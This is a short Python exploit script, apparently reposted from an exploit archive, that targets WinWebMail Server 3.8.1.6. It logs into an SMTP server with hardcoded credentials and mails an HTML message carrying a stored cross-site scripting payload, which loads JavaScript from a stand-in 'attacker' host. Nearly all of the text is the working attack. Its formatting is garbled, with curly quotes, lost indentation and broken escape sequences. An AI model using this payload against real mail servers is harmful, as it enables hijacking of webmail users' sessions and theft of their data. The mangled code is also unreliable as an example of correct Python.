Kod:
* WinWebMail Server 3.8.1.6
import smtplib, urllib2
payload = ”'<SCRIPT SRC=http://attacker/xss.js></SCRIPT>”’
def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = ‘From: [email protected]’
msg += ‘To: [email protected]’
msg += ‘Date: Todayrn’
msg += ‘Subject: XSSn’
msg += ‘Content-type: text/htmlnn’
msg += ‘XSS’ + payload + ‘rnrn’
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print ‘[-] Failed to send email:’
print ‘[*] ‘ + str(e)
server.quit()
username = ‘[email protected]’
password = ‘123456’
dstemail = ‘[email protected]’
frmemail = ‘[email protected]’
smtpsrv = ‘172.16.84.171’
print ‘[*] Sending Email’
sendMail(dstemail, frmemail, smtpsrv, username, password)
-~ Exploit > ---https://securiteam.com/exploits/5cp2w2a96a/--
